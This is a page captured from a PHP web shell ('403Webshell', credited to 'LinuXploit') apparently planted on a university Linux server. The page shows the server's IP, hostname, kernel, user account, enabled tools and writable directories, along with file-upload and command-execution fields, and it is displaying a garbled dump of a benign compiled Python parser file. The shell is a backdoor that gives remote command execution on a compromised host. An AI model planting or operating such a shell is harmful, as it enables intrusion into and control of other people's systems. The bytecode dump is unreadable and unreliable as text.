403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/rhsmlib/facts/__pycache__/dmidecodeparser.cpython-36.pyc
3

a�et*�@stdZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZej
e�ZGdd�d�ZdS)z�
This module contains a minimal ad-hoc parser for the output of `dmidecode`.

Tailored for the rest of the subscription-manager code, not general enough.
�N)�Dict�List�Unionc@s�eZdZdZejGdd�dej��Zdd�Zdd�Z	dd	�Z
d
d�Zee
efeeeeeeeffd�d
d�Zee
efeeeeefd�dd�ZdS)�DmidecodeParseraQ
    Simple parser for the dmidecode output.

    This class provides a simple way to parse the output of the dmidecode(1)
    tool, either by running dmidecode(1) directly, or by reading its output
    from a text file.

    This parser only parses the output and collects the various entries,
    so they can be queried as needed.
    c@s�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!d Z"d!Z#d"Z$d#Z%d$Z&d%Z'd&Z(d'Z)d(Z*d)Z+d*Z,d+Z-d,Z.d-Z/d.Z0d/S)0zDmidecodeParser.DmiTypesz�
        The known DMI types.

        The values represent the actual values in the SMBIOS specification,
        so it possible to use this enum to avoid specifying them when
        looking up sections.
        r���������	�
���
������������������� �!�"�#�$�%�&�'�(�)�*�+�,N)1�__name__�
__module__�__qualname__�__doc__ZBIOS_INFORMATIONZSYSTEM_INFORMATIONZBASEBOARD_INFORMATIONZSYSTEM_ENCLOSURE_OR_CHASSISZPROCESSOR_INFORMATIONZMEMORY_CONTROLLER_INFORMATIONZMEMORY_MODULE_INFORMATIONZCACHE_INFORMATIONZPORT_CONNECTOR_INFORMATIONZSYSTEM_SLOTSZON_BOARD_DEVICES_INFORMATIONZOEM_STRINGSZSYSTEM_CONFIGURATION_OPTIONSZBIOS_LANGUAGE_INFORMATIONZGROUP_ASSOCIATIONSZSYSTEM_EVENT_LOGZPHYSICAL_MEMORY_ARRAYZ
MEMORY_DEVICEZ&THIRTYTWO_BIT_MEMORY_ERROR_INFORMATIONZMEMORY_ARRAY_MAPPED_ADDRESSZMEMORY_DEVICE_MAPPED_ADDRESSZBUILT_IN_POINTING_DEVICEZPORTABLE_BATTERYZSYSTEM_RESETZHARDWARE_SECURITYZSYSTEM_POWER_CONTROLSZ
VOLTAGE_PROBEZCOOLING_DEVICEZTEMPERATURE_PROBEZELECTRICAL_CURRENT_PROBEZOUT_OF_BAND_REMOTE_ACCESSZ#BOOT_INTEGRITY_SERVICES_ENTRY_POINTZSYSTEM_BOOT_INFORMATIONZ&SIXTYFOUR_BIT_MEMORY_ERROR_INFORMATIONZMANAGEMENT_DEVICEZMANAGEMENT_DEVICE_COMPONENTZ MANAGEMENT_DEVICE_THRESHOLD_DATAZMEMORY_CHANNELZIPMI_DEVICE_INFORMATIONZSYSTEM_POWER_SUPPLYZADDITIONAL_INFORMATIONZ$ONBOARD_DEVICES_EXTENDED_INFORMATIONZ$MANAGEMENT_CONTROLLER_HOST_INTERFACEZ
TPM_DEVICEZ PROCESSOR_ADDITIONAL_INFORMATION�r6r6�'/usr/lib64/python3.6/dmidecodeparser.py�DmiTypes,s\r8cCsi|_tjt�|_dS)N)�_data�collections�defaultdict�dict�
_dmi_types)�selfr6r6r7�__init__dszDmidecodeParser.__init__c
Cs�tjd�}|dkr tjd�dSttj�}|jddi�y*tj	|g|dtj
tj
d�}|j|j�Wn0tj
k
r�|jj�}tjd|���YnXdS)	z�
        Run `dmidecode` and parses its output.

        In case `dmidecode` is not available, cannot be executed, or it exits
        with failure, a warning is logged.
        Z	dmidecodeNz<'dmidecode' is not available. No DMI info will be collected.ZLANGUAGEzen_US.UTF-8T)�envZuniversal_newlines�stdout�stderrz!Error with dmidecode subprocess: )�shutilZwhich�logZwarningr<�os�environ�update�
subprocess�Popen�PIPE�_parse_linesrAZSubprocessErrorrB�read)r>�pathr@�proc�errorr6r6r7�parsehs



zDmidecodeParser.parsec	Cs$t|d��}|j|�WdQRXdS)zc
        Parse the output of `dmidecode` previously saved into the specified
        file.
        �rN)�openrK)r>�filename�fr6r6r7�
parse_file�szDmidecodeParser.parse_filecCs$Gdd�dtj�}ttd�dd�}|j}d}d}tjd�}�x�|j�}|sLP|j�}t	|�dkrp|j}d}d}q>|j
d	�r�|j|�}	|	r�|j}t
|	d
dd�}t
|	d
�}
t�|j|<|j|
jdg�}|j|�||j|
d<q>||jkr�|j}q>||jk�s
||jkr>|j
d��r�||jk�rDtjt��|j||=WdQRX|d
d�}y<|j||}
t|
t��sr|
g}
|
j|�|
|j||<Wn$tk
�r�||j||<YnX|j}q>|j
d�r>|d
d�jdd
d�}t	|�d
k�r�q>|d}|d
j�}||��r||j||<|j}q>WdS)z�
        The actual parsing of the `dmidecode` output.

        'fd' is a file object, so anything where it is possible to read line
        by line (using readline()).
        c@s0eZdZdZej�Zej�Zej�Zej�Z	dS)z2DmidecodeParser._parse_lines.<locals>.ParsingStatezT
            Helper enum representing the current state in the parsing.
            N)
r2r3r4r5�enum�auto�NONE�
IN_SECTION�	IN_RECORD�IN_BLOCKr6r6r6r7�ParsingState�s
r\)�possible_value�returncSs |dko|dko|dko|dkS)z�
            Is a value actually specified/available?

            This is needed because dmidecode prints "Not Specified"/etc
            instead of omitting a value that is not specified as DMI string
            (le sigh).
            z
Not Specifiedz
Not AvailableZUnknownZUnspecifiedr6)r]r6r6r7�is_value_specified�s	z8DmidecodeParser._parse_lines.<locals>.is_value_specifiedNz9^Handle\s+([^,]+),\s+DMI\s+type\s+(\d+),\s+(\d+)\s+bytes$rzHandle rr)�baser�handlesz		�	�:)�maxsplit)rV�Enum�str�boolrX�re�compile�readline�rstrip�len�
startswith�	fullmatchrY�intr<r9r=�get�appendrZr[�
contextlib�suppress�KeyError�
isinstance�list�split�lstrip)r>�fdr\r_�stateZcurrent_handleZcurrent_keyZ	re_handle�line�mZcurrent_dmi_typera�valueZ
current_value�partsr6r6r7rK�sl








zDmidecodeParser._parse_lines)�dmi_typer^cs.t|�j�r|j}�fdd��j|dD�S)z�
        Get a list of sections for the specified DMI type.

        'dmi_type' can be either an item of the DmiTypes enum, or the integer
        value of a DMI type.
        csg|]}�j|�qSr6)r9)�.0�h)r>r6r7�
<listcomp>
sz0DmidecodeParser.get_sections.<locals>.<listcomp>ra)rur8r}r=)r>rr6)r>r7�get_sectionsszDmidecodeParser.get_sections)r�keyr^cCs|j|�}|d|S)a�
        Get the value of a specific key of a specified DMI type.

        In case there are more sections of the specified DMI type, this will
        lookup in the first section printed by dmidecode. This function
        is more or less like a convenience wrapper.

        KeyError is raisen if there is no section of the specified DMI type,
        or that section does not have the specified key.
        r)r�)r>rr��valuesr6r6r7�get_keys
zDmidecodeParser.get_keyN)r2r3r4r5rV�uniquerer8r?rPrUrKrrorrrfr�r�r6r6r6r7r s

7x0r)r5r:rrrVZloggingrErhrCrHZtypingrrrZ	getLoggerr2rDrr6r6r6r7�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit